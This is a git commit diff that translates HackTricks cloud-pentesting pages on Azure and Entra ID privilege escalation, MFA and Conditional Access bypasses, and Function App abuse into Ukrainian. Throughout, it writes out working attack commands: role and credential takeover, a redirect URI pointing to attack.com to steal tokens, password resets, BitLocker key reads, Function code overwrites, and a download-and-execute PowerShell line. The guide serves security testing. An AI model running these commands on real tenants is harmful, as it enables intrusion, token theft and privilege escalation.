Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

This commit is contained in:
Translator
2025-01-02 00:06:10 +00:00
parent 92eaf7ce11
commit 210c27fffb
217 changed files with 1796 additions and 1807 deletions

View File

@@ -19,7 +19,7 @@ az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e55
```
### Microsoft.Authorization/roleDefinitions/Write
Цей дозвіл дозволяє змінювати дозволи, надані роллю, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
Цей дозвіл дозволяє змінювати дозволи, надані ролі, що дозволяє зловмиснику підвищувати привілеї, надаючи більше дозволів ролі, яку він призначив.
Створіть файл `role.json` з наступним **вмістом**:
```json
@@ -40,7 +40,7 @@ az role definition update --role-definition role.json
```
### Microsoft.Authorization/elevateAccess/action
Ці дозволи дозволяють підвищувати привілеї та мати можливість призначати дозволи будь-якому принципалу для ресурсів Azure. Вони призначені для глобальних адміністраторів Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
Ці дозволи дозволяють підвищувати привілеї та надавати дозволи будь-якому принципалу на ресурси Azure. Вони призначені для глобальних адміністраторів Entra ID, щоб вони також могли керувати дозволами на ресурси Azure.
> [!TIP]
> Я вважаю, що користувач повинен бути глобальним адміністратором в Entra ID, щоб виклик підвищення працював.
@@ -53,7 +53,7 @@ az role assignment create --assignee "<obeject-id>" --role "Owner" --scope "/"
```
### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write
Цей дозвіл дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
Ця дозволяє додавати федеративні облікові дані до керованих ідентичностей. Наприклад, надати доступ до Github Actions у репозиторії керованій ідентичності. Потім це дозволяє **отримувати доступ до будь-якої визначеної користувачем керованої ідентичності**.
Приклад команди для надання доступу до репозиторію в Github керованій ідентичності:
```bash

View File

@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Зверніть увагу, що **не всі детальні дозволи** вбудованих ролей в Entra ID **можуть бути використані в користувацьких ролях.**
> Зверніть увагу, що **не всі детальні дозволи**, які мають вбудовані ролі в Entra ID, **можуть бути використані в користувацьких ролях.**
## Ролі
### Роль: Адміністратор привілейованих ролей <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Ця роль містить необхідні детальні дозволи для призначення ролей принципам та надання додаткових дозволів ролям. Обидві дії можуть бути зловживані для ескалації привілеїв.
Ця роль містить необхідні детальні дозволи для того, щоб мати можливість призначати ролі принципалам і надавати більше дозволів ролям. Обидві дії можуть бути зловживані для ескалації привілеїв.
- Призначити роль користувачу:
```bash
@@ -48,11 +48,11 @@ az rest --method PATCH \
]
}'
```
## Applications
## Застосунки
### `microsoft.directory/applications/credentials/update`
Це дозволяє зловмиснику **додавати облікові дані** (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, зловмисник може автентифікуватися як цей додаток і отримати ці привілеї.
Це дозволяє зловмиснику **додати облікові дані** (паролі або сертифікати) до існуючих застосунків. Якщо застосунок має привілейовані дозволи, зловмисник може автентифікуватися як цей застосунок і отримати ці привілеї.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,7 +61,7 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Це дозволяє ті ж дії, що й `applications/credentials/update`, але обмежено до однодиректорних застосунків.
Це дозволяє виконувати ті ж дії, що й `applications/credentials/update`, але обмежено до однодиректорних додатків.
```bash
az ad app credential reset --id <appId> --append
```
@@ -77,7 +77,7 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами входу, які використовують новий URL перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною без необхідності приймати щось.
Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами для входу, які використовують новий URL перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною, без необхідності приймати щось.
Зверніть увагу, що також можливо змінити дозволи, які запитує додаток, щоб отримати більше дозволів, але в цьому випадку користувачеві потрібно буде знову прийняти запит на всі дозволи.
```bash
@@ -86,19 +86,19 @@ az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUr
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
## Service Principals
## Сервісні принципали
### `microsoft.directory/servicePrincipals/credentials/update`
Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї.
Це дозволяє зловмиснику додавати облікові дані до існуючих сервісних принципалів. Якщо сервісний принципал має підвищені привілеї, зловмисник може прийняти ці привілеї.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійний доступ до сервісного принципалу.\
> Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійність над службовим принципалом.\
> З API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** сервісного принципалу, і спочатку потрібно його розблокувати. Для цього вам потрібна дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати:
Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** службового принципала, і спочатку вам потрібно його розблокувати. Для цього вам потрібен дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
@@ -130,9 +130,9 @@ az ad sp owner list --id <spId>
> [!CAUTION]
> Після додавання нового власника я спробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо це метод, який потрібно використовувати для видалення власника. Тому ви **не можете видалити власників в даний час**.
### `microsoft.directory/servicePrincipals/disable` and `enable`
### `microsoft.directory/servicePrincipals/disable` та `enable`
Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб ескалувати привілеї.
Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб підвищити привілеї.
Зверніть увагу, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб захопити увімкнений службовий принципал.
```bash
@@ -183,17 +183,17 @@ az ad group member add --group <GroupName> --member-id <UserId>
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
```
**Примітка**: Ця дозволена дія виключає групи, призначені для ролей Entra ID.
**Примітка**: Ця дозволяє виключає групи, які можуть бути призначені ролям Entra ID.
### `microsoft.directory/groups/members/update`
Ця дозволена дія дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ.
Цей дозвіл дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Цей дозвіл дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання.
Ця дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -218,13 +218,13 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Ця дозволена дія дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Цю дозволену дію не можна призначити для користувацьких ролей.
Ця дозволена дія дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Ця дозволена дія не може бути призначена для користувацьких ролей.
```bash
az ad user update --id <user-id> --password "kweoifuh.234"
```
### `microsoft.directory/users/basic/update`
Ця привілегія дозволяє змінювати властивості користувача. Зазвичай можна знайти динамічні групи, які додають користувачів на основі значень властивостей, тому ця дозволена дія може дозволити користувачу встановити потрібне значення властивості, щоб стати членом конкретної динамічної групи та ескалувати привілеї.
Ця привілегія дозволяє змінювати властивості користувача. Зазвичай можна знайти динамічні групи, які додають користувачів на основі значень властивостей, тому ця дозволена дія може дозволити користувачу встановити необхідне значення властивості, щоб стати членом конкретної динамічної групи та підвищити привілеї.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -263,7 +263,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Ця дозволяє зловмисникам асоціювати свій обліковий запис з пристроями, щоб отримати доступ або обійти політики безпеки.
Цей дозвіл дозволяє зловмисникам асоціювати свій обліковий запис з пристроями, щоб отримати доступ або обійти політики безпеки.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -289,7 +289,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Цей дозвіл дозволяє отримувати доступ до ключів BitLocker, що може дозволити зловмиснику розшифровувати диски, ставлячи під загрозу конфіденційність даних.
Ця дозволяє доступ до ключів BitLocker, що може дозволити зловмиснику розшифрувати диски, порушуючи конфіденційність даних.
```bash
# List recovery keys
az rest --method GET \

View File

@@ -9,33 +9,33 @@
Ось кілька прикладів:
1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка входу користувача є незвичною в порівнянні з їх звичайним патерном, наприклад, входом з іншої країни, система може запитати додаткову аутентифікацію.
1. **Політика ризику входу**: Цю політику можна налаштувати так, щоб вимагати багатофакторну аутентифікацію (MFA), коли виявляється ризик входу. Наприклад, якщо поведінка користувача при вході є незвичною в порівнянні з їх звичайним патерном, наприклад, входом з іншої країни, система може запитати додаткову аутентифікацію.
2. **Політика відповідності пристроїв**: Ця політика може обмежити доступ до служб Azure лише для пристроїв, які відповідають стандартам безпеки організації. Наприклад, доступ може бути дозволений лише з пристроїв, які мають актуальне антивірусне програмне забезпечення або працюють на певній версії операційної системи.
## Обходи політик умовного доступу
Можливо, що політика умовного доступу **перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику**. І якщо, наприклад, політика налаштовувала MFA, зловмисник зможе її обійти.
Можливо, що політика умовного доступу **перевіряє деяку інформацію, яку можна легко підробити, що дозволяє обійти політику**. І якщо, наприклад, політика налаштовує MFA, зловмисник зможе її обійти.
При налаштуванні політики умовного доступу потрібно вказати **користувачів**, на яких це вплине, та **цільові ресурси** (наприклад, всі хмарні додатки).
Також потрібно налаштувати **умови**, які **активують** політику:
- **Мережа**: IP, діапазони IP та географічні локації
- Можна обійти, використовуючи VPN або проксі для підключення до країни або зумівши увійти з дозволеної IP-адреси
- Можна обійти, використовуючи VPN або проксі для підключення до країни або намагаючись увійти з дозволеної IP-адреси
- **Ризики Microsoft**: Ризик користувача, ризик входу, ризик зсередини
- **Платформи пристроїв**: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux
- Якщо не вибрано “Будь-який пристрій”, але всі інші опції вибрані, можна обійти, використовуючи випадковий user-agent, не пов'язаний з цими платформами
- **Клієнтські програми**: Опції “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
- Якщо “Будь-який пристрій” не вибрано, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами
- **Клієнтські програми**: Опції - “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти”
- Щоб обійти вхід з не вибраною опцією
- **Фільтр для пристроїв**: Можна створити правило, пов'язане з використаним пристроєм
- **Потоки аутентифікації**: Опції “Потік коду пристрою” та “Передача аутентифікації”
- Це не вплине на зловмисника, якщо він не намагається зловживати будь-яким з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви
- **Потоки аутентифікації**: Опції - “Потік коду пристрою” та “Передача аутентифікації”
- Це не вплине на зловмисника, якщо він намагається зловживати будь-якими з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви
Можливі **результати**: Блокувати або надавати доступ з потенційними умовами, такими як вимога MFA, відповідність пристрою…
Можливі **результати**: Блокування або надання доступу з потенційними умовами, такими як вимога MFA, відповідність пристрою…
### Платформи пристроїв - Умова пристрою
Можна встановити умову на основі **платформи пристрою** (Android, iOS, Windows, macOS...), однак це базується на **user-agent**, тому його легко обійти. Навіть **зробивши всі опції обов'язковими для MFA**, якщо ви використовуєте **user-agent, який не розпізнається,** ви зможете обійти MFA або блокування:
Можливо встановити умову на основі **платформи пристрою** (Android, iOS, Windows, macOS...), однак це базується на **user-agent**, тому його легко обійти. Навіть **зробивши всі опції обов'язковими для MFA**, якщо ви використовуєте **user-agent, який не розпізнається,** ви зможете обійти MFA або блокування:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
@@ -52,12 +52,12 @@
### Хмарні додатки
Можна налаштувати **політики умовного доступу для блокування або примусу**, наприклад, MFA, коли користувач намагається отримати доступ до **конкретного додатку**:
Можливо налаштувати **політики умовного доступу для блокування або примусу** наприклад MFA, коли користувач намагається отримати доступ до **конкретного додатку**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Щоб спробувати обійти цю захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вас і навіть надасть токен, якщо вдасться.
Щоб спробувати обійти цей захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\
Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вам і навіть надасть токен, якщо вдасться.
Щоб **перевірити конкретні ідентифікатори додатків у конкретних ресурсах**, ви також можете використовувати інструмент, такий як:
```bash
@@ -65,24 +65,24 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4
<token>
```
Moreover, it's also possible to protect the login method (e.g. if you are trying to login from the browser or from a desktop application). The tool [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) perform some checks to try to bypass this protections also.
Більше того, також можливо захистити метод входу (наприклад, якщо ви намагаєтеся увійти з браузера або з настільного додатку). Інструмент [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) виконує деякі перевірки, щоб спробувати обійти ці захисти.
The tool [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) could also be used to similar purposes although it looks unmantained.
Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може бути використаний для подібних цілей, хоча виглядає так, що він не підтримується.
The tool [**ROPCI**](https://github.com/wunderwuzzi23/ropci) can also be used to test this protections and see if it's possible to bypass MFAs or blocks, but this tool works from a **whitebox** perspective. You first need to download the list of Apps allowed in the tenant and then it will try to login into them.
Інструмент [**ROPCI**](https://github.com/wunderwuzzi23/ropci) також може бути використаний для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з точки зору **whitebox**. Спочатку потрібно завантажити список додатків, дозволених у орендаря, а потім він спробує увійти в них.
## Інші обходи Az MFA
### Дзвінок
### Рингтон
Одна з опцій Azure MFA - це **отримати дзвінок на налаштований номер телефону**, де буде запитано користувача **надіслати символ `#`**.
> [!CAUTION]
> Оскільки символи - це просто **тони**, зловмисник може **компрометувати** **голосову пошту** номеру телефону, налаштувати як повідомлення **тон `#`** і потім, коли запитують MFA, переконатися, що **телефон жертви зайнятий** (дзвонячи на нього), щоб дзвінок Azure перенаправлявся на голосову пошту.
> Оскільки символи - це просто **тони**, зловмисник може **компрометувати** **голосове повідомлення** на номері телефону, налаштувати як повідомлення **тон `#`** і потім, коли запитують MFA, переконатися, що **телефон жертви зайнятий** (дзвонячи на нього), щоб дзвінок Azure перенаправлявся на голосову пошту.
### Сумісні пристрої
Політики часто вимагають сумісний пристрій або MFA, тому **зловмисник може зареєструвати сумісний пристрій**, отримати **PRT** токен і **обійти таким чином MFA**.
Політики часто вимагають сумісний пристрій або MFA, тому **зловмисник може зареєструвати сумісний пристрій**, отримати **токен PRT** і **обійти таким чином MFA**.
Почніть з реєстрації **сумісного пристрою в Intune**, потім **отримайте PRT** за допомогою:
```powershell
@@ -104,9 +104,9 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
Цей скрипт отримує деякі облікові дані користувача та перевіряє, чи може він увійти в деякі програми.
Цей скрипт отримує деякі облікові дані користувача та перевіряє, чи може він увійти в деякі додатки.
Це корисно, щоб перевірити, чи **не потрібно MFA для входу в деякі програми**, які ви можете пізніше зловживати для **ескалації привілеїв**.
Це корисно, щоб побачити, чи **не потрібно MFA для входу в деякі додатки**, які ви можете пізніше зловживати для **ескалації привілеїв**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,17 +116,17 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep - це скрипт PowerShell, який намагається **увійти до різних служб Microsoft, використовуючи наданий набір облікових даних, і спробує визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може спробувати увійти до локального сервера ADFS, якщо він виявлений.
MFASweep - це скрипт PowerShell, який намагається **увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і намагатиметься визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може намагатися увійти до локального сервера ADFS, якщо він виявлений.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох виробничих AAD тенантах, де клієнти AAD вважали, що у них є обов'язковий MFA, але аутентифікація на основі ROPC пройшла успішно.
Цей інструмент допоміг виявити обходи MFA, а потім зловживати API в кількох виробничих AAD тенантах, де клієнти AAD вважали, що у них є MFA, але аутентифікація на основі ROPC пройшла успішно.
> [!TIP]
> Вам потрібно мати дозволи для перегляду всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу.
> Вам потрібно мати дозволи для переліку всіх додатків, щоб мати можливість згенерувати список додатків для брутфорсу.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -135,13 +135,13 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки Політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Перевірте кожен портал**, чи можливо **увійти без MFA**:
**Тестуйте кожен портал**, чи можливо **увійти без MFA**:
```powershell
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force

View File

@@ -1,8 +1,8 @@
# Az - Dynamic Groups Privesc
# Az - Динамічні Групи Privesc
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна Інформація
**Динамічні групи** - це групи, які мають набір **правил**, і всі **користувачі або пристрої**, що відповідають цим правилам, додаються до групи. Кожного разу, коли **атрибут** користувача або пристрою **змінюється**, динамічні правила **перевіряються** знову. І коли **створюється нове правило**, всі пристрої та користувачі **перевіряються**.
@@ -16,7 +16,7 @@
Отримати групи, які дозволяють динамічне членство: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
### Example
### Приклад
- **Приклад правила**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Опис правила**: Будь-який гість з вторинною електронною поштою, що містить рядок 'security', буде доданий до групи
@@ -41,7 +41,7 @@ az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
```
## References
## Посилання
- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)

View File

@@ -12,13 +12,13 @@
### Bucket Read/Write
Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
Маючи дозволи на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` і `WEBSITE_CONTENTSHARE`)
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції.
Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до функції.
Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з&#x20;
```bash
@@ -49,24 +49,24 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**.
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` у:
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з Облікового запису зберігання.
Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з облікового запису зберігання.
> [!CAUTION]
> З достатніми правами для підключення до контейнера блобів, який **містить код у zip**, можливо виконати довільний код у Функції та підвищити привілеї.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
Так само, як і в попередньому випадку, якщо розгортання виконується через Github Actions, можливо знайти папку **`github-actions-deploy`** в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку **`github-actions-deploy`** в обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` та `WEBSITE_CONTENTSHARE`)
З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції:
З правами на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Також можливо знайти **master and functions keys**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** в JSON-файлах, які ви можете знайти всередині.
Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **`<app-name>`** у JSON-файлах, які ви можете знайти всередині.
> [!CAUTION]
> З достатніми правами для підключення до контейнера blob, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї.
> З достатніми правами для підключення до контейнера блобів, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,7 +118,7 @@ az storage blob upload \
```
### Microsoft.Web/sites/host/listkeys/action
Ця дозволяє перерахувати ключі функцій, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
Ця дозволяє перерахувати ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
@@ -133,7 +133,7 @@ curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
І щоб **змінити код, який виконується** у функції з:
І щоб **змінити код, який виконується** у функції на:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
@@ -151,13 +151,13 @@ az rest --method POST --uri "https://management.azure.com/subscriptions/<subsrip
```
### Microsoft.Web/sites/host/functionKeys/write
Цей дозвіл дозволяє створювати/оновлювати ключ функції вказаної функції з:
Ця дозволяє створювати/оновлювати ключ функції вказаної функції з:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/host/masterKey/write
Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з:
Ця дозволяє створити/оновити головний ключ для вказаної функції з:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
@@ -166,24 +166,24 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
### Microsoft.Web/sites/host/systemKeys/write
Ця дозволяє створювати/оновлювати системний ключ функції для вказаної функції з:
Ця дозволяє створювати/оновлювати системний функціональний ключ для вказаної функції з:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### Microsoft.Web/sites/config/list/action
Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливість знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Крім того, це дозволяє отримати **SCM ім'я користувача та пароль** (якщо увімкнено) за допомогою:
Крім того, це дозволення також дозволяє отримати **SCM ім'я користувача та пароль** (якщо увімкнено) за допомогою:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де розташований код для виконання всередині функції.&#x20;
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми вже бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції.&#x20;
